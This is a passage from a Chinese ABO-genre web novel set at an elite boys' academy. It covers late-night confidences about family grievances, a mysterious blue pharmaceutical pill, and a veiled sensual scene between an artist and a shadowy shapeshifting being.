正是在他这两句话后,那团黑雾才肉眼可见老实起来,又重新乖乖缩回金发艺术家后颈的位置,像一只猫猫围脖般缠绕在他的金色卷发上。 白苏感觉这团黑雾,应该是写作“邪神”,念作“狗”的玩意儿。 金发大美人驯服邪神当狗狗,简直了。 既然邪神哥没意见,白苏出于好奇心还是多问了两句:“你怎么知道他要买手链呀?” “这家店是我开的,”金发美人一举一动皆是风情,“他想挑款式,当然会来问我。” 白苏:! 他在官网搜索这条手链的信息时,看到那些水晶都来自其他星系,是高档货。 这家店,完全是个奢侈品品牌。 能够在十八九岁就经营这样的品牌,若说家里没有任何支持,白苏是不信的。 可是这样富甲一方的Omega,为何会和闻行屿是青梅竹马呢? 白苏总感觉,自己好像遗漏了什么重要的信息。 *** 深夜,宿舍楼外被一层淡淡的月色轻柔地覆盖着,万籁俱寂。 四周被茂密的绿色植被环绕,宛如一片静谧的绿洲矗立于城市的喧嚣之外。 树叶在微风中轻轻摇曳,发出沙沙的声响。 “叮咚。”门铃声在深夜突兀响起。 尉迟云蔚手里提着精致的木质餐盒,靠在门框旁,打了个哈欠。 一阵拖鞋落在地上的“哒哒”脚步声后,宿舍门被打开,暖光透出来,光芒照亮了整条走廊。 “你又喝酒了。”姜晓闻到一股淡淡酒精味道。 “嗯,聚会逃不了,肯定得喝点。”尉迟云蔚与他相对站立,忽然心跳得很快。 已经十二点多了,此时四处都非常安静,只听得见虫鸣声。 而自己却站在姜晓的宿舍门口… 颇有种深夜幽会的感觉。 尉迟云蔚被自己的设想惊到:他怎么会想到这种东西! 这还是平时只想着飙车拳击的自己吗! “你先进来吧,我把耳机放在里面了。”姜晓没忘记白苏的叮嘱,特意用两个防尘袋把尉迟云蔚和百里枫的耳机装好,只是说顺序时直接给俩人调换个方向。 到时候不论是耳机连不上手机,或者是真的让他们整蛊到了,反正都不亏。 “好。”尉迟云蔚一边在心里唾弃自己,可一边又无法控制地继续心跳加速。 深夜,姜晓竟然邀请自己进去宿舍!? 这人怎么一点防备心都没有的啊! 身体很诚实地却跟了进去:“…你房间好整齐。” 和钟离曜房间的整齐样板间不同,姜晓的房间干净整洁而温馨,充满生活气息,有许多可爱的小玩偶和手工工艺品。 “还好啦,”姜晓把两个耳机递给他,“灰色袋子的是你的,黑色袋子的是百里枫的。” 尉迟云蔚把手里纸袋放在客厅的茶几上:“这是给你带的夜宵,不知道你喜欢吃什么,就让丹云天的厨房都做了点儿。” 姜晓看着那个巨大的足足四层的木盒,惊呆了:“这么多?!” 尉迟云蔚仰着头,一副傲慢模样:“少见多怪,难道还能给你打包一份炒面吗。” 事实上,这几道菜都是尉迟云蔚吩咐自己认识的主厨精心烹制。 佛跳墙、花雕鸡、帝王蟹都是自己爱吃的菜,尉迟云蔚觉得姜晓应该也会喜欢。 如果姜晓不喜欢,那他会记下来,之后给姜晓带他喜欢的。 “这么多我吃不了,也是浪费啊。”姜晓打开食盒,“你要不要也吃点儿?我正好煮了姜茶。” 最近天气转凉,姜晓家习惯喝点姜茶驱寒,里面还会加入枸杞红枣,补气益血。 姜晓自己住以后也会经常煮姜茶,平时就分给朋友们一起喝。 尉迟云蔚目光微动:“行。” 今天姜晓穿的睡衣和上次的一样可爱,浅蓝色的棉质睡衣上面有云朵和彩虹的图案。 不像上次和朋友看橄榄球般喝得烂醉,尉迟云蔚这次只是微醺,有点上头,但还很清醒。 所以此时他才更加能够清楚感受到姜晓身上浅淡的沐浴露香味。 是柠檬的味道。 姜晓是个beta,所以不会有信息素。 但是尉迟云蔚却觉得,这样的香味比那些信息素都要好闻得多。 室内温暖,厨房的姜茶咕噜噜冒着泡,一缕袅袅蒸汽从厨房飘出来。 有种家的感觉。 尉迟云蔚年幼失怙,并没有经历过父母和睦家庭幸福的时光。 自他有记忆以来,继母的孩子就比他更加高大更加蛮横,亲生父亲只在乎他能否讨好老爷子以及能不能在外人面前给自己长脸。 他只能更加野蛮,去应对这些无所不在的欺辱。 直到变成今天这样,无法改变的傲慢暴躁性格,像是一柄没有剑鞘的锋利长剑,总是不经意间伤到周围他本想保护的人。 他根本不知道家的感觉该是怎么样,或者说,他也并没有这样的概念。 但尉迟云蔚却有种感觉,这样温馨的氛围…就是家的感觉。 “我这宿舍比较破,和你们那边没法比,你忍忍吧。”姜晓生怕他会说出什么奚落的话,便直接自己提前先声明了。 尉迟云蔚抬头,有些意外姜晓会这样说:“…我不介意。” 姜晓的宿舍是d级学生的宿舍,面积和尉迟云蔚的a级宿舍没法比,虽然房间和厨房等都是一样配套的,但是装修比较简单。 不像尉迟云蔚和南宫瑾等人的宿舍,连酒柜等都一应俱全。 如果换作平时,尉迟云蔚肯定会觉得这样的地方,他一秒都待不下去。 可是现在,他却想在这里多待一会儿。 哪怕仅仅是吃个夜宵的时间。 刚经过酒局的狂欢,尉迟云蔚并不饿,只是找个借口留下来罢了。 姜晓点头:“行啊,这可是你说的,等会可别又嫌三嫌四,否则小心我揍你。” 尉迟云蔚笑了一声:“我发现你胆子一直很大啊,从刚认识我开始,动不动就说要揍我。” “是啊,我就是胆子大。”姜晓笑了起来,知道尉迟云蔚是在开玩笑。 他起身去厨房拿烧开的茶,又拿来水杯递给尉迟云蔚:“这个杯子是之前买东西送的,没人用过。” 两个水杯靠在一起,上面的爱心图案正好相互拼接在一起。 这赫然是一对情侣杯子! 难道姜晓他自己没有注意到吗?? 尉迟云蔚瞥了姜晓几眼,却见对方十分坦然,便只得心事重重地接过。 姜晓给他倒茶,还不忘叮嘱:“姜的味道比较重,你要是不喜欢直接不喝也行。” 姜晓家里开店,倒茶摆盘的动作非常熟练。 打开食盒后他立刻认出了里面的菜色,心想这就是随手打包的吗,这也太壕无人性了吧! 菜肴汤液浓郁,泛着琥珀般的光泽。 香气扑鼻,是海参、鲍鱼、鱼翅等多种海鲜与鸡、鸭、猪骨等慢炖出的精华。 蟹壳金黄,蟹腿修长,肉质洁白如玉,晶莹剔透,一看便知并非凡品。 姜晓觉得这盒夜宵应该很贵。 他看着尉迟云蔚拿起杯子正欲喝茶,补充道:“之后就给你用好了。” 尉迟云蔚震惊了。 什么叫之后都给他用? 难道之后…姜晓还会邀请他来宿舍做客吗! 这个杯子和姜晓用的杯子是一对的,现在他说要只给他用,姜晓这是什么意思?? 尉迟云蔚手一抖,杯里的茶霎时间全都撒到了他的运动长裤上。 稀稀拉拉,洒了一地。 姜晓吓了一跳:“这是怎么了!” 刚煮好的茶滚烫,这样浇在裆部,听起来就非常不妙。 不,就算浇在别的地方,听起来也一样不妙啊! “快把裤子脱了!”姜晓凑过去便要表演流氓,帮忙尉迟云蔚把沾了茶水的裤子脱下。 尉迟云蔚一跳三尺远:“我自己来!!!你走开!” 二十分钟后。 尉迟云蔚坐在姜晓床上,穿着并不合身的睡衣,叹了口气。 “你刚说过,不会介意我的宿舍很破的。你现在可不能乱说话,否则我就要揍你了。”姜晓坐在他身边看着他。 尉迟云蔚确实有些不习惯。 冰箱不是双开门的,热水器等电器也比较旧,装修也是最普通的,和他们那边的可以根据自己喜欢的风格去设计装修完全不同。 但他现在在纠结的并不是这个点。 姜晓看着平日是满脸不耐烦而且很暴躁的大男生在床上换了几个姿势,最后开口时声音小得像蚊子:“我能在你床上躺会儿吗?” *** 白苏是被敲门的声音吵醒的。 漂亮beta睡衣歪斜,揉着眼睛去开门时还不太清醒:“…嗯?闻行屿?” “嗯。”闻行屿外套上裹着松木沉香,看起来风尘仆仆,像是刚从一趟长途旅程里回来便急匆匆赶来了。 浅淡的迷迭香气味环绕着白苏,让他在闻行屿视线里有些无所遁形。 虽然这时他们没有任何肢体的接触,甚至站的也并不近,但白苏却莫名觉得,自己已经被纳入了对方的领域。 有种难言的悸动。 白苏清醒了:“闻行屿?你不是要明天才回来吗??” “想你,所以就提前回来了。”闻行屿这样说着。 这话太暧昧,白苏听着脸都发热,根本不知道该怎么接:“…你是刚回来吗?你先进来坐吧,我刚才还在睡觉。” “打扰了。”闻行屿嘴上说着打扰,实际上却非常不客气地走了进来。 并且动作非常流畅地在餐台给自己倒了杯水,宛若在自己家一样。 白苏:“…”他虽然想着等闻行屿回来了,就要和闻行屿说手链的事,可是现在真的当着对方的面,他又有点说不出来。 毕竟闻行屿挑选这条手链,还专门去问了别人,可谓是用心。 如果他因为价钱而说不想要了,会不会寒了对方的心呢? “怎么了?”闻行屿见他似乎心中藏着事,便主动开口问。 白苏抬手,粉水晶在阳光下散发着浅淡光芒:“你送我的手链好贵啊我还给你吧。” 他的手腕细得几乎有些萧索可怜,闻行屿只要用一只手就能将他两只手腕全部握住。 闻行屿此时心中只有一个念头。 果然,清透的浅粉色很搭他的肤色。 真好看。 “喜欢吗?”闻行屿只是问。 他是自己开飞机回来的,路途遥远,不免有些疲倦。 尤其是还要躲避各个势力的眼线追踪。 可是那些疲惫在看见白苏的一瞬间,好像都消失得无影无踪。 刚才的“想你”,确实说得不错。 明明只是几天没有见,但他却感觉自己已经有些无法忍受了。 已经无法忍受没有白苏的生活。 不仅是因为气味,更多的是因为对方纯净善良的灵魂。 白苏迟疑:“好看是挺好看的,但是太贵啦。你现在还有钱用吗?我看这条手链,应该比一个月工资还要多呀。” 对面的黑发alpha听见这句话后,肉眼可见地愣了一秒,但立刻就露出一个温柔的笑:“你别担心钱的事,我家里最近给了我一笔钱,我现在挺有钱的。” 闻行屿颇为感到自己之前立的人设有些麻烦,在心里思考该如何用一些别的方法来让白苏觉得自己有钱一点。 如果他想买点什么给白苏,对方都会担心他没钱,那之后如果自己把白苏带回家,该怎么解释? 要知道他家,可是在主城最奢华的小区里,最豪华的那一栋…… 闻行屿生怕他白苏再说什么要还的话,便说:“你之前不是说睡得不好么,我专门挑了这种,据说里面有什么安神成分,贴着皮肤佩戴有安神效果。” 担心白苏再起这样的念头,闻行屿便又说:“这家店是特别订制的,一旦售出不允许退回,你若是不带,也是浪费了。” 话说到这份上,白苏也没法再推了:“谢谢,你之前说的见朋友” “嗯,两天后就去吧,你方便么?” 闻行屿几天前把手链给白苏时提起了此事,但也只是一带而过,并未详细说明。 白苏点头:“有是有,但…是什么朋友啊?” 闻行屿蹙眉,心中仍在迟疑是否要把事情的真相告诉白苏。 他本该在刚开始能感受到白苏气味时就告知对方,但白苏实在太过单纯懵懂,以至于他认为白苏就算知道了这件事,也不过是徒添烦恼。 可现在,一旦涉及到要进行更深入的研究,白苏作为当事人,自然是有知情权的。 银辉下,白苏听见闻行屿低沉声音响起:“一年前,我在一场被投放了信息素生化武器的战役里受了重伤。从那时候起,我得了信息素感应障碍,没办法闻到任何omega的味道。” “因为没有办法闻到信息素的味道,所以我的易感期会变得越来越频繁,且无法被药物治愈。很多医生都说,我会因为信息素感应障碍而死。” “不要露出那样的表情嘛,”闻行屿继续说着,伸手将白苏下垂的嘴角往上拉了一点儿,“其实,之前我已经接受了这样的结果。” “白苏,虽然其他人闻不到,但我能闻到你的信息素的味道。一直都能。” 第30章 第 30 章 蓝色药片 床铺上, 柔软的被子被整齐地折叠成角,床单和姜晓的睡衣一样是纯净的蓝。 枕头蓬松而舒适,床头柜上摆放着造型简约的台灯, 散发出柔和的光线。 房间温暖,在灯光下像是个独立的,只由两个人构成的小世界。 “我能在你床上躺会儿吗?”尉迟云蔚洗了热水澡后酒精上头, 躺在姜晓的小床上就不想动弹了。 “随便你。”姜晓说。 方才尉迟云蔚把姜茶泼在裤子上, 只能将裤子先用洗衣机洗掉。 姜晓索性让他在自己浴室洗澡,先穿着自己的睡衣应急。 尉迟云蔚肩膀宽阔, 穿着姜晓睡衣时无法扣上全部扣子,只得松松散散让衣领敞开,露出里面结实轮廓明显的胸膛。 姜晓压根不好意思多看。 见姜晓没意见,尉迟云蔚打着哈欠躺在他床上:“困死了。” “晕碳了吧。”尉迟云蔚洗完澡后两人又一起吃了点夜宵,姜晓此时也颇为昏昏欲睡。 尉迟云蔚看姜晓一眼,说:“你睡里面吧。” 他自己睡觉什么德行他很清楚, 就像有多动症一样会动来动去。 若是不小心把姜晓踢下床, 那可就是倒反天罡了。 姜晓欲言又止, 想问他“你是要在这里睡一晚吗?”又想说“洗衣机带烘干功能, 等会儿你的衣服就能穿了”。 可看着尉迟云蔚睡眼惺忪,全然没有往日暴戾狂躁的模样,温顺安静得不像话, 姜晓又不忍心把他赶走。 方才尉迟云蔚来宿舍前, 谷四宜给他发来了短信: 【明天是云蔚母亲的忌日,他可能会喝多,麻烦你留意一下可以吗】 【他人不坏,只是脾气不太好,请多担待】 谷四宜的态度很客气也很礼貌, 对尉迟云蔚的描述与姜晓对尉迟的印象也大差不差。 姜晓觉得如若尉迟云蔚没有主动提起母亲的事,那自己也不便去过问,只是决定就让对方留在这里睡一晚。 至少有人陪着他,睡梦里流泪也不至于那么难过。 就在尉迟云蔚已经闭上眼即将入睡时,放在床头柜的手机却忽然响了起来。 姜晓拿起手机递给他,却见本来满脸困倦的大男生在看见来电提示的刹那睁开了眼:“” “我接个电话。”尉迟云蔚起身,便要下床。 姜晓下意识拉住他衣袖:“阳台没有开暖气,很冷的,你就在这儿打吧。” 说到这里,姜晓才反应过来尉迟云蔚不一定是觉得打扰自己,也有可能是不想自己听到对话内容:“是我不能听的?” “不是,只是可能会讲话很大声,吵到你休息。”尉迟云蔚重新在床上坐下,顺手摸了摸姜晓的头。 果然和他想象中一样毛茸茸的,头发软而细腻,特别好摸。 姜晓:“” 尉迟云蔚按下接听键,说话的声音低沉而冷淡:“有什么事吗。” 纵然姜晓再迟钝也能听出,尉迟云蔚此时语气和方才对自己说话时天差地别。 刚才的尉迟云蔚,说话语气简直温柔得不像话。 “是你自己自作主张,还是谁给了你授意?”尉迟云蔚再次开口时声音又冷了几个度。 姜晓不由得看向尉迟云蔚。 来电提示是个没有存名字的号码,姜晓根本不知道对方是谁。 但看起来,此人和尉迟云蔚并不对付。 “你觉得自己有资格见她?”尉迟云蔚忽地冷笑,“袁慕,你就算被我爸扶上正牌老婆的位置,就算你被写进你最想进的尉迟家族谱,你也不配给她提鞋,就算她去世了,你也不配见她,更不配给她扫墓!” 此刻的大男生手背上青筋鼓起,握着手机的动作格外用力。 淡色嘴唇紧抿着,更显得五官棱角分明轮廓清晰。 原本明亮有神的凤眼此时淬满愤怒,怨恨、不甘等诸多负面清晰像是火苗般在他眼中跳跃着。 灼灼燃烧着。 姜晓几乎没有见过尉迟云蔚这样的表情。 以往的尉迟云蔚或许是傲慢的、或许是易怒的,但神色总是带着几分散漫。 但这次不一样。 姜晓下意识将手覆在对方放在床上的那只手上,好似这样的肢体接触能为对方带来一些心理的抚慰。 会话自然是没过多久就不欢而散,尉迟云蔚放下电话的手都在发抖。 被气的。 他回头时撞上姜晓满是关心的眼睛,低声解释道:“是我继母的电话,她想去给我妈扫墓,她根本不配。” 姜晓并不知道其中缘由,只好轻轻拍了拍他的手背,表示安抚。 经过这一通恶心,尉迟云蔚也没法好好睡觉了。 两人并肩躺在床上,缩在暖和的被窝里,一时间令尉迟云蔚思绪万千:“你想听么。” “听什么?”姜晓问。 “我家的事。”尉迟云蔚翻了个身,脸对着姜晓的方向。 姜晓点头:“如果你想说,那我想听。如果你不想那也不用非要说的,我不会多问。” “我想说。”尉迟云蔚看着他,脸上有难以掩藏的疲惫。 那疲惫不像是打了一天球的倦怠,而是那种深知自己无力的挫败感与恨意混杂的复杂情绪。 “那我想听的。”姜晓平日里从未这样和其他人并肩枕着同一个松软枕头诉说往事。 两人此刻都侧身朝着对方,鼻尖相抵,呼吸缠绕着彼此。 姜晓能看见尉迟云蔚浅褐色的眼瞳里倒映出自己的模样。 满满当当,只有自己,再容不下别的。 手臂只要稍微伸展,就会直接搭在尉迟云蔚身上。 而此时的尉迟云蔚像只在自己巢穴内餍足的雄狮,姿态放松,眯着眼看着他。 手臂随意搭在软绵绵的被子外,将姜晓虚虚环在其中。 像是雄狮在守护着他的珍宝。 就算是姜晓很亲近的朋友,也没有在这样静谧的深夜里靠得这么近过。 心跳快了许多,姜晓不自然地垂眸掩饰,将手搭在胸口。 尉迟云蔚目光飘忽,在这样温暖安全的环境下难得放松,内心的情绪似乎有了突破口,让他忍不住想要倾诉。 “我继母在我母亲去世前就已经和我父亲不清不楚,在我七岁那年,我母亲尸骨还未寒的时候,她就被娶回家,还带着比我大的儿子。他们早就勾搭上了,背地里不清不楚鬼混了那么多年,我的母亲却一直被瞒在鼓里。” “她吞掉了所有我母亲的陪嫁,连几件我母亲结婚时候带过的首饰都不放过。小时候,我只能看着她穿着我妈的高定,带着我妈的订制珠宝参加各种活动,却什么都做不了。” “自那以后,她总是让下人欺辱我,她那儿子也对我总是打骂,而我的父亲全都看在眼里,却并不制止。我知道,他们才是一家人,对于我爸而言,我只是家族联姻的产物,根本不是他的儿子。” “我的爷爷立下遗嘱,打算在百年以后将家族的核心资产交给我保管,他们却一直在从中周旋,想要哄劝老爷子改变想法。老爷子是为了当年给我母亲家族的承诺,也是为了我不要在他走后受人欺辱,才出此下策。可他们却觉得,是老爷子偏心,说我这样暴戾无常的人根本做不了尉迟家的继承人。” “直到今天,我已经在家立稳脚跟,话语权不可动摇,她知道无力回天,没法把她烂泥扶不上墙的儿子扶上位置就动了别的心思。我也不知道她究竟是想讨好我,还是存心要恶心我。” 说到这里,尉迟云蔚气得发出一声从牙缝里挤出来的冷笑。 “她说要去看望我母亲,替她扫墓,还要把那些早就被她穿坏、带了不知道多少次的服装首饰,还给我母亲!” 姜晓原本只知道尉迟云蔚家现在情况比较乱,却没想到这个继母如此下作。 连别人的首饰都吞掉自己用,这也太过分了吧! 一时间,姜晓对尉迟云蔚的心疼占据情绪,忍不住握住他被子外的手:“她怎么这样啊,肯定不能让她去。” “嗯,我已经让人看着她了,不会让她打扰我母亲的清净,”尉迟云蔚目光染上几分嗜血冷寒,“真想像槿那样赶紧接手家里的生意,也好彻底把家里不干净的东西清出去。” 待他掌权的那一天,他必然和继母一家清算,当然他那便宜爹也别想好过。 姜晓表示理解,为了缓和气氛便开了句玩笑:“那你就得和槿一样每天开会开到半夜了。” “这是我们这样的人,必须接受的。”尉迟云蔚这样说。 他们享受了超出寻常人的纸醉金迷,却也有相应的代价。 南宫槿和他都从小生活在处处危险的威胁里,每天提心吊胆,提防着那些为利而来的苍蝇。 “明天,我可以陪你去。”姜晓在此时有些笨拙,“今天先睡个好觉吧。” “好。”倾诉之后的尉迟云蔚难得放松,听话地乖顺闭上眼,心想—— 必须得快点把姜晓的评级升到A级,让他搬到自己隔壁来。 *** “所以之后你和尉迟一块儿去的?”白苏问。 八卦在前,白苏捧着的奶茶都忘了嗦两口。 次日姜晓陪着尉迟云蔚去扫墓,又听尉迟云蔚说了许多童年的事情,瞬间两人的距离拉近了许多。 “嗯。”姜晓回答,有些害羞地转移了话题,“学校的校庆晚会现在征求节目,你有什么想参与的吗?” 一旁化工学院的公告牌此时被大幅的海报占据,海报上赫然写着大字“建校200年纪念活动”以及许多优秀学生的合照。 这几天,哪怕白苏并不关心学校的事,也从学校组织的老师会议以及各种宣传标语里知道了这所建校历史悠久的贵族男校即将迎来200周年的校庆。 届时,学校会开展一些活动,邀请知名校友回来参观学校。 还会有各路媒体来报道,学校也为来参观的校外人员准备了免费的纪念品,随意领取。 恰逢整数年校庆,校方势必要将整个校庆办得风风光光。 白苏抬头看了两眼海报,发现上面赫然有钟离曜和南宫槿的脸:“” 优秀学生,优的是家世对吧? 校庆晚会这种东西,果然是所有校园文里必须有的啊! 有才艺的主角们表演钢琴小提琴萨克斯,没有乐器才艺的主角们靠脸吃饭,参加话剧又一定会成为话剧的主角! 而在话剧里,《睡美人》和《白雪公主》又成了必考点中的必考点! 一般来说,主角受肯定会扮演睡美人,被王子亲醒! 然后肯定大家一开始商量的是让攻借位亲也就是假亲,但攻在直播表演的过程中却情难自已直接就亲下去了! 白苏觉得自己对这些知识点的掌握程度熟练得让人心疼。 他赶紧摇头:“我就是个打工人,必修课选逃,选修课必逃,听说过不?能不参加的活动,我是肯定不会参加的。” 这一点,白苏比较喜欢向他穿过来以前看的某档选秀里“利”开头的那位练习生学习。 姜晓笑着说:“我还挺想演话剧的,听说我们班同学想报《睡美人》。” 精准预言的白苏:“” 这所贵族男校的学院众多,有战斗学院、魔法学院等新兴学科,同时也有计算机学院、商学院、社会科学学院这样的传统学科。 战斗学院对身体素质有着非常严苛的要求,不允许Omega和信息素薄弱的Beta入学。 而贵族男校还为数量稀少的Omega设置了特殊的Omega美德学院,为那些已经订婚准备当全职太太的Omega提供绘画、音乐、厨艺等方面的培训。 白苏已经可以想象这次的校庆晚会会有多么百花齐放,又能够看到多少小说主角在节目里大出风头。 不过这一切都跟他没有关系,嗯。 托闻行屿的福,虽然校医室以前是学生偷偷摸摸干大事的重灾区,但这段时间根本没有什么人敢来校医室做这种事。 因为每当晚上值班,闻行屿都在和白苏打游戏,游戏音效震天响。 只要不是傻子,就不至于顶着“double kill!”的音效进来做恨。 两人并肩走在从食堂回宿舍的路上,小径另一头却走来了一位面熟的断眉酷哥:“小白医生。” 白苏跟他打招呼:“去吃饭吗?” 远处公路旁,总是和凌奈同时出现的那位高岭之花今日也没有缺席。 钟离曜站在人行道上,穿过人行道上的行人望着凌奈,似乎想说什么,但片刻后还是跟在一个盘发女人身后上车。 白苏满脸疑惑,便说:“嗯?钟离同学在你后面好像想叫你?” 盘发女人身材高挑,虽然一头瀑发乌黑柔顺,但身材高大,躯体线条间蕴含着饱满如猎豹般的力量感。 她和钟离曜上的车是一台低调的黑色越野,但挂的牌是jun用车牌。 凌奈头也没回,似乎并不在意:“哦,他和他姐去吃饭了,他想叫我一块去,我说算了。” 他一看钟离曜姐姐的神色就是有事要单独对钟离曜说,便不愿意去做那个自讨没趣的人。 钟离曜的姐姐在army中工作,也是个Alpha,面容长得与钟离曜有几分相似,但更加英气几分。 若不是对方着急走,凌奈倒是不介意多和他们聊一会儿。 被钟离曜介绍给家人,让凌奈心中有些微妙的喜悦。 白苏眼眸中闪过莫名情绪,嘴里关心道:“你最近没有再和钟离同学打架吧,都是同学,不至于的呀。” 而且你们还是CP,打来打去那最后都是你们自己心疼啊! 凌奈回答:“没有,小白哥你放心。” 上次深夜在车里两人牵手后,事情的发展几乎超出凌奈的预想。 先不提每次钟离曜只要与他独处都会握着他的手,平日里两人的聊天沟通也多了起来。 好几次,他因为犯懒而不想去吃早餐,还被钟离曜啰嗦了一通,之后每天都给他带早餐。 “我们现在挺友爱的。”凌奈笑了笑。 凌奈觉得他们好像已经步入了类似恋爱的状态,可是钟离曜没有主动提,也没有主动告白,他也不知道他们这样究竟算是什么。 往日总是直来直去的酷哥难得地做着鸵鸟,不敢轻易去确认对方的想法,便让两人一直维持着当前的状态。 越野车里。 “不管你在想什么,但你要知道,家族对你的期待,是你绝对不能辜负的。”女人的声音带着命令般的强势。“你站队闻行屿的时候,代表的就不再是你自己,而是你背后的整个家族!” 钟离曜低着头,无甚表情的脸颊像是建模般精致而没有生气。 “你和刚才那孩子算了,这些我都不在意。”盘发女人摆手,目光透过前车窗,凝在远处棕榈树下那道清瘦的身影上。 那道清丽身影与两年前似乎并没有什么不同,依旧背脊挺直,眉目如画。 只是想到曾经发生在他身上的一切,钟离昭目光有些耐人寻味,方才训斥钟离曜的话也高高拿起轻轻落下:“刚才说的话,你只要记住,我也不想每次和你在一起,都必须提起这些。” 钟离曜沉默不言。 钟离昭发动汽车,边回头看他:“怎么你最近好像瘦了?带你去吃点好吃的,想吃什么?” 【晚上一起吃饭么?我】 钟离曜捣鼓着手机在给凌奈发信息,编辑了许多字却又不满意而删除,随口应道:“都行。” *** 地下室的天花板上安装了先进的空气净化系统,它们隐藏在精心设计的吊顶之中。 通风系统高效而几乎无声地运作着,确保空气持续流通。 墙壁上覆盖着隔音材料,进一步确保了地下室的私密性和安静。 墙面上挂着精美的艺术品,无论是皮质沙发、实木书架还是定制的酒柜,每一件都精选自高端品牌。 “我今晚会回家,但话说完我就走,我不会在那里过夜,不用再问了。” 电话那边中年男人的声音带着蓄势待发的蓬勃怒意:“你现在连你爸的话都不放在心上了是吗?闻行屿!” 黑发男人单膝跪地,从沙发下的地毯取出玻璃药瓶,握在手心。 他今晚要把这种医生嘱咐不能再吃的药拿去销毁,才发现药瓶被他不知哪次易感期的时候扔在了地上。 “我以为,我早就说过,我已经不想再和闻家有任何瓜葛了。”闻行屿的声音冷淡,并未把对方的气急败坏放在心上。 “闻行屿!你要知道你现在能活着,都是闻家在背后替你四处周旋” 闻行屿挂断电话,将玻璃瓶放进外套口袋,目光落在米色羊绒地毯上的蓝色药片时一凝。 那蓝色药片luo露在空气里,在纯色地毯间尤为显眼。 药片上沾染了些许灰尘,似乎是从地板上滚过去的。 英俊男人俯身将药片拾起,准备将其放回药瓶。 用于特殊用途的控制信息素药物有着严格的管制要求每一瓶药物都必须有明确的去向,闻行屿不知道自己是什么时候不小心跌落了一片,但之后他去把那些不能继续吃的药还回去销毁的时候如果清点数量少了,会比较麻烦。 流程繁琐,闻行屿想到那一层层的异常报告,就烦得想骂人。 药片圆润,在柔和灯光下泛着一层弧光。 将药片握在手心的刹那,闻行屿便意识到事情部不对。 这药和他自己的并不相同。他的药呈现出更加扁平的状态,表面粗糙,并不像这片药如此光滑,弧度也更加圆润。 闻行屿取了自己的药瓶来对比,发现果然与他记忆中一样,这片药片并不属于自己的药瓶 那这片药能是谁的? 地下室只有他自己来过,除了他就只有白苏。 难道这片药是白苏的吗? 闻行屿对着光仔细照着端详,发现药片下方果然和自己的一样也写着编号。 这种药同样来自army,是治疗信息素水平异常的特效药。 可白苏一个beta,怎么可能需要治疗信息素? 闻行屿心中疑窦丛生,隐隐有了个恐怖的猜想。 30-36 第31章 第 31 章 如果情敌是漂亮女Alp…… 一条清澈见底的溪水从山间蜿蜒而下, 溪水潺潺,水声悦耳,它在阳光的照射下波光粼粼, 如同一条银色的丝带在绿意盎然的山谷中穿梭。 四周是郁郁葱葱的森林,古木参天,绿叶在微风中轻轻摇曳, 发出沙沙的响声。 水流淙淙, 打湿了莱利的金色长发。 阳光透过树叶的缝隙,洒在他的长发上, 那金色的发丝仿佛被镀上了一层淡淡的光晕,随着微风轻轻摆动,闪烁着柔和的光泽。 他的身体完全浸润在清澈溪水中,无数浅金色的游鱼在他身侧环绕,形成一个个微小的漩涡。 莱利头戴白玉兰制成的花环,一身到脚踝的乳白色长袍, 此时被溪水打湿了大半, 他却好似全然不在意似的, 以纤纤玉足去逗弄清澈溪水里的游鱼, 溅起一串串晶莹的水珠。 布料轻柔而飘逸,部分被溪水浸湿,紧紧地贴在他白皙肌肤上, 展现出衣服下曼妙的身姿。 长袍的下摆在水中漂浮, 随着水流的波动轻轻摇曳,仿佛是水中的一朵白莲,纯洁而优雅。 溪水旁的绿茵草地上架着画好一半的木制画画架,画布上赫然是一位长发男人的人像画,那男人黑发柔顺垂至腰际, 肩宽腰窄,容貌出众,让那幅画更加栩栩如生的地方是他眼眸中的两点猩红,似乎在日光里闪烁着。 迎面吹来的风暖洋洋的,他的脚踝却忽然被一段阴冷粘腻的不明生物缠上,那东西表面触感光滑,仅用片刻就将莱利脚踝绕出道道红痕,又顺着他湿透绸缎白衣向上爬行,缓缓来到膝盖的位置。 莱利并不惊慌,只是任由那团黑色物体肆意在他皮肤上游走【脖子以上请勿锁】。 温润肌肤因那冰凉粘腻物什不断颤栗着,却也让莱利眼眸慢慢弥漫带着情欲的水雾。 轻拢慢捻,力度时轻时重,捻过各处【脖子】。 灿烂阳光下原本清澈的溪水此时已经被大团黑色占据,黯淡得透不进一丝光线,溪流底部的鹅卵石全都被遮挡得严严实实。 明亮灿烂的自然景色与那团阴暗得无法被光线照亮的黑影好似两个极端,却又在此刻和谐地融在一起。 那些游动的、似乎没有实体的黑色“触手”不止一根。 有些环绕着他四肢,另一些则暧昧地依偎在他脸侧肩膀,以过于蛮横的野蛮力道吮吸着娇嫩的皮肤,令本就脆弱不堪的冷白色肌肤浮现出个个肿胀的红痕【脖子以上】。 莱利仰躺在水中,本该被溪水没过面部,但却被那团黑雾托着抬出水面,整个人身体的重量都落在那不明生物上。 花苞绽放,花蕊吐珠。 岸边的花朵开得鲜艳。 莱利身体重重坠下,落入水中。 直至莱利眼尾泛红不住喘息,发出像是幼猫般的尖叫声。 空气里满是绵延不绝的白茶香气。 一曲终了,莱利眼尾脸颊因动情流下的泪水被仔细舔舐干净,他享受着对方的爱抚,低声说:“我想看看你的脸。” 此时他声音带着几分哑,是方才叫狠了的缘故。 那团黑雾很快便在莱利面前聚成人形,深邃但带着几分阴郁的面容逐渐清晰。 莱利身体发热,满目温存地伸出手臂揽住阴戾男人:“做这种事的时候,我还是想看着你的眼睛。” 此刻他们亲密无间,与寻常的爱侣并无半分不同。 只是如若莱利此时看见黑发男人的背部,定会被那处luo露在外的另一张人脸和漆黑鳞片吓到。 男人一头长发,此时几缕黑发散落在莱利裸露出来的锁骨上,激起皮肤一阵酥麻。 那男人以赤红色眼瞳注视着莱利,俯身在他花瓣般的浅粉色嘴唇轻吻:“好,之后我都会这样,化作人形。” 莱利以食指描摹对方立体精致的五官,手指抚过对方高耸眉骨、挺翘笔尖,浓密漆黑的眼睫和眉毛,最后按在对方淡色嘴唇上:“你真好看。” 莱利是个艺术家,喜欢各种美的事物,无论是自然之景,抑或是种种人工制成的物件,都有其独特的审美与判断。 他无疑是挑剔的,出生在艺术世家,生活优渥,容貌出众,想要入他的眼并非易事。 但莱利眼中,无论是黑雾形态,或是此时黑雾化形后的模样,都带着浓郁的神秘色彩,神秘而迷人,是莱利最为迷恋的。 男人偏头,咬在那截粉嫩指尖上,带着暗示意味地含着,吞吐起来。 齿关时不时磕碰到皮肤,力度却不大,像是挠痒痒。 金发美人原本苍白的面颊浮起桃花般的红润颜色:“好痒,你是小狗吗。” 莱利长相美丽,自分化前就从不缺乏追求者。 